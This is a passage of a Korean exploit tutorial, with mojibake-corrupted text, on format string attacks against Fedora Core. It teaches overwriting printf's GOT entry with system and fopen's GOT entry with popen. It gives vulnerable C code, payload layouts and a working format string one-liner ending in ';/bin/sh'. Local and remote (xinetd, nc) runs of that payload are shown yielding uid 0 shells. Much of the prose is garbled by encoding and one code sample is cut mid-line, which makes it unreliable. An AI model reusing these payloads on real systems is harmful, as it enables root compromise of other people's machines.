»ìÆìº¸ÀÚ. -- int main(int argc,char *argv[]) { char buf[256]; strcpy(buf,argv[1]); printf(buf); printf(buf); } -- À§ ÄÚµå´Â ÀϹÝÀûÀÎ format string Ãë¾àÁ¡ ÄÚµåÀÎ °Í °°Áö¸¸, ¹«½¼ ÀÏÀÎÁö printf ÇÔ¼ö°¡ µÎ ¹ø ½ÇÇàµÇ°í ÀÖ´Ù. (°á±¹ ¿¹¿ÜÀûÀÎ »çÇ×À» ¶Ç ¸¸µé¾î¹ö·È´Ù. -_-;; ÀÌ·±... ±×·¯³ª ½ÇÁ¦ ¹Ýº¹¹® ³»¿¡¼­ ¹ß»ýÇÏ´Â format string Ãë¾àÁ¡Àº ÀÌ °æ¿ì¿¡ ÇØ´çµÈ´Ù°í º¼ ¼ö ÀÖ´Ù.) À§ Äڵ带 exploitÇÏ´Â ¹æ¹ýÀº »ý°¢º¸´Ù °£´ÜÇÏ´Ù. -- °ø°Ý ÄÚµå ±¸¼º: [format string attack code];/bin/sh; -- ù ¹øÂ° printf ÇÔ¼ö ½ÇÇà ½Ã, Æ÷¸Ë ½ºÆ®¸µ °ø°Ý ÄÚµåÀÇ ³»¿ëÀº ´ç¿¬È÷ printfÀÇ GOT¸¦ system ÇÔ¼ö·Î º¯°æÇÏ´Â ³»¿ëÀÌ µÉ °ÍÀÌ´Ù. ±×·¸°Ô µÇ¸é, GOTÀÇ Á¤º¸¸¦ »ç½Ç·Î ¹Ï´Â ÇÁ·Î±×·¥Àº ´ç¿¬È÷ printf ÇÔ¼ö ´ë½Å system ÇÔ¼ö¸¦ ½ÇÇàÇÒ °ÍÀ̰í, ½ÇÁ¦ µÎ ¹øÂ° printf ÇÔ¼ö ½ÇÇà ½Ã, printfÀÇ ÀÎÀÚ °ªÀ¸·Î ¾²¿´´ø °ø°Ý ÄÚµå ([format string attack code];/bin/sh;) ÀÚü°¡ ¸í·É ÄÚµå·Î ½ÇÇàµÇ¹ö¸®´Â ÀÏÀÌ ¹ß»ýÇÑ´Ù. ¾ÕÀÇ format string °ø°Ý ÄÚµå´Â ¹«½ÃµÇ°í, ';' ¼¼¹ÌÄÝ·ÐÀ» ÅëÇØ ¸í·ÉÀ» ½ÇÇàÇÒ ¼ö ÀÖ´Ù. ±×·¯³ª, ƯÀÌÇÑ °æ¿ì¿¡´Â format string °ø°Ý ÄÚµå ÀÚü¿¡ Ư¼ö ¹®ÀÚ ¹®Á¦·Î ÀÎÇØ, ½©ÀÌ broken µÇ¹ö·Á ½ÇÇàÀÌ ¾ÈµÇ´Â ¹®Á¦°¡ ¹ß»ýÇÒ ¼ö ÀÖ´Ù. Áï, printfÀÇ GOT À§Ä¡°¡ ¸Å¿ì Áß¿äÇÏ´Ù. ±× À§Ä¡ÀÇ ÁÖ¼Ò°ª¿¡ µû¶ó, ½© ½ÇÇà ¼º°ø ¿©ºÎ°¡ °áÁ¤µÈ´Ù. (»ç¿ëÀÚ ÀÔ·Â °ª¿¡ ÀÇÁ¸Àû) À§ÀÇ payload ´ë·Î °ø°ÝÇÑ ¿¹Á¦¸¦ º¸°í ½Í´Ù¸é ´ÙÀ½ URL¿¡ Á¢¼ÓÇÏ¿© ¸¶Áö¸· ·¹º§ °ø·« ¹æ¹ýÀ» ÂüÁ¶ÇÏ±æ ¹Ù¶õ´Ù. [http://x82.inetcop.org/h0me/pr0file/event/UDCSC2005.pdf] ¹Ý¸é, ½ºÅÃÀÇ retaddr¸¦ Á÷Á¢ º¯°æÇÒ ¼ö ÀÖ´Ù¸é, À̾߱â´Â ´Þ¶óÁø´Ù. printf ÇÔ¼ö°¡ ÇÑ ¹ø¸¸ ½ÇÇàµÇ¾îµµ »ó°ü¾ø´Ù. ¿ì¼±, printf ù ¹øÂ° ½ÇÇà ½Ã, GOT ³»¿¡ system ÇÔ¼ö ÁÖ¼Ò·Î µ¤¾î¾´´Ù. »ç½Ç ÇÁ·Î±×·¥ÀÇ ¹®¹ý »ó¿¡ ÀçÂ÷ printf ÇÔ¼ö¸¦ ½ÇÇàÇÏ´Â Äڵ尡 ¾ø±â ¶§¹®¿¡ ¹Ù·Î ÀÌ ÄÚµå(printf ÇÔ¼ö ¼öÇà ¿ªÇÒ)¸¦ ½ºÅÿ¡ Á÷Á¢ ¸¸µé¾îÁÖ´Â °ÍÀÌ´Ù. Áï, ½ºÅà °ªÀ» Á¶Á¤ÇÒ ¼ö Àֱ⠶§¹®¿¡ ret ºÎºÐÀ» printf ÇÔ¼ö PLT ÁÖ¼Ò(°íÁ¤ÀûÀ̸ç, ÁÖ¼Ò°ª¿¡ NULLÀÌ µé¾î°¡Áö ¾ÊÀ½)·Î µ¤¾î¾²¸é, ÀÌ¹Ì printf GOT´Â systemÀ¸·Î º¯°æµÈ ÈÄÀ̱⠶§¹®¿¡ printf ÇÔ¼ö ´ë½Å system ÇÔ¼ö°¡ ½ÇÇàµÈ´Ù. ÀÎÀÚ °ªÀ» ³Ö´Â °Í ¿ª½Ã, Á¶ÀÛÀÌ °¡´ÉÇÒ °ÍÀÌ´Ù. (stack Á¶ÀÛÀÌ °¡´ÉÇϹǷÎ) ret+8 ºÎºÐ¿¡ ³ÖÀ» ¼ö Àִµ¥, ÀÌ´Â libc.so ÆÄÀÏ¿¡ Á¸ÀçÇÏ´Â "/bin/sh" ¹®ÀÚ¿­À» ÀÌ¿ëÇØ¼­ ºñ±³Àû ½±°Ô ÇØ°áÇÒ ¼ö ÀÖ´Ù. (printf À̿ܿ¡µµ ³»ºÎ ÇÔ¼ö¸¦ system()À¸·Î µ¤¾î ¾º¿ö ¸í·É¾î ¼öÇàÀÌ °¡´ÉÇÏ´Ù) -- °ø°Ý ÄÚµå ±¸¼º: [format string attack code][...buffer overflow string...][ebp][ret = printf PLT][dummyXXXX]["/bin/sh" address] -- ÀÌ¿Í °°ÀÌ ±¸¼ºÇؼ­ °ø°ÝÇÏ´Â °ÍÀÌ´Ù. ÀÌ¹Ì ¾ÕÀÇ [format string attack code]¿¡¼­ printfÀÇ GOT¸¦ Á¶ÀÛÇÑ ÈÄÀ̰í, ³ªÁß¿¡ RTL ±â¹ýÀ¸·Î ºÒ·¯Áö´Â printf´Â ÀÌ¹Ì system ÇÔ¼öÀÎ °ÍÀÌ´Ù. -- Âü°í·Î format string °ø°Ý¿¡¸¸ ±¹ÇѵǴ °ÍÀÌ ¾Æ´Ï´Ù. ±× ÀÌÀ¯´Â strcpy¿Í °°Àº ÇÔ¼ö¸¦ ÅëÇØ dest ÀÎÀÚ¸¦ µ¤¾î¾µ GOTÀÇ ÁÖ¼Ò°ªÀ¸·Î ³Ö°í, src¿¡ ¿øÇÏ´Â system ÁÖ¼Ò¸¦ ³ÖÀº ÈÄ, ´Ù½Ã, strcpy¸¦ È£ÃâÇØ¹ö¸®¸é strcpy ÇÔ¼ö ´ë½Å, system ÇÔ¼ö¸¦ ½ÇÇàÇÒ ¼ö Àֱ⠶§¹®ÀÌ´Ù. À̰ÍÀº ºñ´Ü, strcpy ÇÔ¼ö ¹®Á¦°¡ ¾Æ´Ï´Ù. º¹»ç °è¿­ ÇÔ¼ö´Â ºñ½ÁÇÏ°Ô °ø°ÝÀÌ °¡´ÉÇÏ´Ù. (´Ü, ¶óÀ̺귯¸® ÁÖ¼Ò¿¡ NULLÀÌ µé¾î°¡´Â Æäµµ¶ó ½Ã½ºÅÛÀÇ °ø°ÝÀº Èûµé´Ù°í º¸¿©Áø´Ù) -- Áö±Ý±îÁö ¼³¸íÇÑ ³»¿ëµéÀÌ phrack 56-05È£¿Í scutÀÇ format string °ø°Ý ¹®¼­¿¡ ¾óÇÍ µîÀåÇÑ´Ù´Â »ç½ÇÀ» ¾È °ÍÀº ³»°¡ ÀÌ ¹æ¹ýÀ» °í¾ÈÇÑ ÈÄÀÇ ÀÏÀ̾ú´Ù. Á¶±ÝÀº Çã¸ÁÇÏÁö¸¸ È®½ÇÈ÷ ÀÌ ¹æ¹ýÀº Æäµµ¶ó¿Í °°Àº ±Ø´ÜÀûÀΠȯ°æ¿¡¼­ ¿ø°Ý °ø°ÝÀ¸·Î ½ÃµµÇÒ¸¸ÇÏ´Ù. :-) (¶ÇÇÑ, local °ø°ÝÀÇ °¡´É¼ºÀÌ ¾ÆÁÖ ¾ø´Â °ÍÀº ¾Æ´ÏÁö ¾ÊÀº°¡?) local¿¡¼­ ÀÌ ¹æ¹ýµéÀ» Àû¿ë½Ã۱â À§ÇØ ÀÎÀÚ °ªÀÌ ÇÑ °³¸¸ Á¸ÀçÇϰųª ù ¹øÂ° ÀÎÀÚ °ªÀÌ 0ÀÎ ÇÔ¼ö ³à¼®À» ã¾Æ setuid °è¿­ ÇÔ¼ö·Î µ¤¾î¾º¿öÁÖ¸é uid 0 ±ÇÇÑÀ» ¾òÀ» ¼öµµ ÀÖÀ» °ÍÀÌ´Ù. printf¸¦ system ÇÔ¼ö·Î µ¤¾î¾º¿ì´Â ¹æ¹ý¸»°í ¶Ç ¾î¶² ¹æ¹ýÀÌ ÀÖÀ»±î? scutÀÇ ¹®¼­¸¦ º¸¸é, fopenÀ» system ÇÔ¼ö·Î µ¤¾î¾º¿ì´Â °ÍÀ» º¼ ¼ö Àִµ¥, À̺¸´Ù´Â popenÀÌ ´õ ÀûÇÕÇϰڴٴ »ý°¢ÀÌ µé¾ú´Ù. ±×·¡¼­ °£´ÜÇÏ°Ô fopenÀ» popenÀ¸·Î overwriteÇÏ´Â ³»¿ëÀ» Àû¿ëÇØº¸µµ·Ï ÇϰڴÙ. #2. popen ÇÔ¼ö·Î GOT overwrite Çϱâ popen ÇÔ¼ö´Â system ÇÔ¼ö¿Í ¸¶Âù°¡Áö·Î ½Ã½ºÅÛ ¸í·ÉÀ» ½ÇÇàÇÒ ¼ö ÀÖ´Â ÇÔ¼öÀÌ´Ù. ÀÌ ÇÔ¼ö´Â ³»ºÎÀûÀ¸·Î pipe() ÇÔ¼ö È£Ãâ·Î ¹ÝÀÌÁß ÆÄÀÌÇÁ ¶óÀÎÀ» ¸¸µé¾î ÀÚ½Ä ÇÁ·Î¼¼½º¸¦ »ý¼ºÇÑ ÈÄ shell ¸í·ÉÀ» ½ÇÇàÇÏ´Â ±¸Á¶·Î ¼öÇàµÈ´Ù. ¸í·ÉÀÇ °á°ú´Â ÆÄÀÏ ½ºÆ®¸²À» ÅëÇØ ÀÐÀ» ¼ö Àִµ¥ ÀÌ´Â system ÇÔ¼öº¸´Ù ´õ ¿­¾ÇÇÑ ¸í·É ½ÇÇà ȯ°æÀ» Á¦°øÇÏ´Â Å« ÀÌÀ¯´Ù. -_- ¾Æ´Ï, °¡È÷ Àå¾Ö¹°À̶ó ÇÒ ¼ö ÀÖ´Ù. ¾î·°Å³ª ¿ì¸®°¡ ÀÏȸ¼º ¸í·É¾î¸¦ ½ÇÇàÇϱ⿣ ¸Å¿ì ÀûÇÕÇÏ´Ù. scutÀÇ ±â¼ú ¹®¼­¸¦ º¸¸é, fopen ÇÔ¼öÀÇ ÀÎÀÚ °ªÀÌ »ç¿ëÀÚ¿¡ ÀÇÇØ overwrite°¡ °¡´ÉÇÑ À§Ä¡¿¡ Á¸ÀçÇϰí ÀÖ´Ù. ±×·¸´Ù, fopen ÇÔ¼ö¸¦ °ø·«Çϱâ À§Çؼ­´Â ù ¹øÂ° ÀÎÀÚ °ªÀ¸·Î µé¾î°¡´Â ÁÖ¼ÒÀÇ À§Ä¡°¡ ¸Å¿ì Áß¿äÇÏ°Ô ÀÛ¿ëÇÑ´Ù. ±×°ÍÀÌ ¸¸¾à ¿ì¸®°¡ Á¶ÀÛÇÒ ¼ö ¾ø´Â À§Ä¡ÀÇ ÁÖ¼Ò¿¡ Á¸ÀçÇϰí ÀÖ´Ù¸é À¯°¨½º·´°Ôµµ exploit Çϱâ Èûµé¾îÁø´Ù. popen ÇÔ¼ö´Â glibc¿¡ ´Ù¸¥ ¿øÇüÀ» °¡Áö°í ÀÖ´Ù. ±×·¸±â ¶§¹®¿¡ popenÀÇ ½ÇÁ¦ ¿øÇü ÇÔ¼ö ÁÖ¼Ò¸¦ ¾ò¾î¾ß °ø°ÝÀÌ °¡´ÉÇØÁø´Ù. glibc libio/iopopen.c ¼Ò½º Äڵ带 ºÐ¼®Çغ¸¸é, popenÀÇ ´Ù¾çÇÑ alias¸¦ º¼ ¼ö Àִµ¥ ´ëÇ¥ÀûÀ¸·Î _IO_new_popen, __new_popen µîÀÌ ÀÖ´Ù. ÀÌÁ¦ ¿ì¸®°¡ ¿øÇÏ´Â ¸í·ÉÀ» ½ÇÇàÇϱâ À§ÇØ fopen ÇÔ¼öÀÇ GOT¸¦ _IO_new_popenÀÇ ½ÃÀÛ ÁÖ¼Ò·Î ³Ö¾îÁÖ¸é µÈ´Ù. ´ÙÀ½ ¿¹Á¦ Äڵ带 º¸ÀÚ. -- C ¿¹Á¦ ¼Ò½º -- #include int main() { char buf[1024]; FILE *fp; int i; printf("input file name: "); fflush(stdout); fgets(buf,sizeof(buf)-1,stdin); for(i=0;i: 0x56e58955 (gdb) -- fopen ÇÔ¼öÀÇ GOT: 0x08049850 popen ¿øÇü ÇÔ¼ö(_IO_new_popen) ½ÃÀÛ ÁÖ¼Ò: 0xf6f0c10 °ø°Ý ÄÚµåÀÇ ±¸¼ºÀº °£´ÜÇÏ´Ù. ¿ì¼±, format string °ø°Ý Äڵ带 ÅëÇØ fopenÀÇ ÁÖ¼Ò¸¦ popen ¿øÇü ÇÔ¼öÀÇ ÁÖ¼Ò·Î µ¤¾î ¾º¿î´Ù. ±×·¯¸é, ¿ì¸®°¡ ÀÔ·ÂÇÏ´Â ÀÎÀÚ°ª ÀÚü°¡ ¸í·É ÀÎÀÚ·Î ¾µ ¼ö ÀÖ°Ô µÈ´Ù. °ø°Ý ÄÚµåÀÇ µÞ ºÎºÐ¿¡´Â ";/bin/sh" ½© ½ÇÇà ¸í·ÉÀ» ºÙ¾îÁØ´Ù. -- local Å×½ºÆ® °ø°Ý: -- [root@localhost tmp]# (echo `printf "\xbc\x98\x04\x08\xbe\x98\x04\x08"`"%49400x %12\$n%13808x%13\$n;/bin/sh";cat) | ./fopen input file name: ... ... ... f6fdb720;/bin/sh's contents: sh: %49400x%12%13808x%13: command not found id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) exit [root@localhost tmp]# -- ±×·³ À̹ø¿£ ¿ø°Ý »ó¿¡¼­ exploit ÇØº¸µµ·Ï ÇϰڴÙ. -- [root@localhost tmp]# cat > /etc/xinetd.d/test service tfido { disable = no flags = REUSE socket_type = stream wait = no user = root server = /var/tmp/fopen } [root@localhost tmp]# killall -HUP xinetd [root@localhost tmp]# netstat -an | grep 60177 tcp 0 0 0.0.0.0:60177 0.0.0.0:* LISTEN [root@localhost tmp]# [root@localhost tmp]# (echo `printf "\xbc\x98\x04\x08\xbe\x98\x04\x08"`"%49400x %12\$n%13808x%13\$n;/bin/sh";cat) | nc localhost 60177 ... Áß ·« ... f6fdb720;/bin/shsh: %49400x%12%13808x%13: command not found id 's contents: uid=0(root) gid=0(root) uname -a Linux localhost 2.6.9-1.667smp #1 SMP Tue Nov 2 14:59:52 EST 2004 i686 i686 i386 GNU/Linux cat /etc/redhat-release Fedora Core release 3 (Heidelberg) exit [root@localhost tmp]# -- À§¿Í °°ÀÌ ¼º°øÀûÀ¸·Î ½©À» ½ÇÇàÇÒ ¼ö ÀÖ¾ú´Ù. °á±¹ Æ÷¸Ë½ºÆ®¸µ °ø°Ý Äڵ带 Æ÷ÇÔÇÑ ½© ¸í·ÉÀÌ popen ÇÔ¼ö¿¡ ÀÇÇØ ½ÇÇàµÈ °ÍÀÌ´Ù. ÀÌ·¯ÇÑ »ç½ÇÀº `sh: %49400x%12%13808x%13: command not found' ¸í·É¾î ½ÇÇà ¿À·ù¸¦ ÅëÇØ ¾Ë ¼ö ÀÖ¾ú´Ù. while(fgets ... ¹®¹ý ´öºÐ¿¡ ½© ¸í·É °á°ú¸¦ ¾ò¾îº¼ ¼ö ÀÖ¾ú´Âµ¥, ½ÇÁ¦ popen °ø°Ý ½Ã¿¡´Â ¸í·É °á°ú ¹× ¿À·ù ¸Þ½ÃÁö¸¦ ¸øº¸´Â °æ¿ì°¡ ´õ ¸¹´Ù. * °á ·Ð Æäµµ¶ó ÄÚ¾î ½Ã½ºÅÛÀÌ µµÀÔµÇ°í ³ª¼­, »ç¿ëÀÚ¿¡ ÀÇÇØ write µÇ´Â ¿µ¿ªÀÌ execute µÉ ¼ö ¾øµµ·Ï nonexec-stack, random-stack üÁ¦°¡ ±¸ÃàµÇ¾ú´Ù. ÀÌ·Î ÀÎÇØ, ÇØÄ¿ÀÇ ½©ÄÚµå ½ÇÇàÀÌ ¸Å¿ì ¾î·Á¿öÁ³°í Return to Library ±â¹ýÀÌ ¹ßÀüµÇ¾ú´Ù. ¾ÕÀ¸·Î ¸î ³âÈÄ¸é Æäµµ¶ó ÄÚ¾î¿Í °°Àº º¸¾È °­È­ ½Ã½ºÅÛµéÀÌ º¸ÆíÈ­ µÉ °ÍÀ¸·Î ¿¹»óÇϰí ÀÖ´Ù. ±×·¯³ª ¾ÈŸ±õ°Ôµµ ÇöÀç±îÁö´Â °³¹ßµÈ exploit ±â¹ýÀÌ ¸¹Áö ¾ÊÀº ½ÇÁ¤ÀÌ´Ù. :-( ÇÏ·ç »¡¸® »õ·Î¿î exploit ±â¹ýµéÀÌ ¸¹ÀÌ °³¹ßµÇ¾úÀ¸¸é ÇÏ´Â ¹Ù·¥À¸·Î ¹®¼­ ÀÛ¼ºÀ» ³¡ ¸¶Ä¡µµ·Ï ÇϰڴÙ. * Reference ÀÌ ¹®¼­¸¦ ÀÐ°í ´õ ÈǸ¢ÇÑ ±â¼úµéÀ» ¿¬±¸ °³¹ßÇÏ°í ½ÍÀº ºÐµéÀº ¾Æ·¡ ¹®¼­µéÀ» Âü°íÇÏ±æ ¹Ù¶õ´Ù. -- * Phrack 56-5: Bypassing StackGuard and StackShield Bulba and Kil3r http://www.phrack.org/show.php?p=56&a=5 * Phrack 58-4: The advanced return-into-lib(c) exploits by Nergal http://www.phrack.org/show.php?p=58&a=4 * Exploiting Format String Vulnerabilities scut / team teso http://www.eecg.toronto.edu/~lie/downloads/formatstring-1.2.pdf --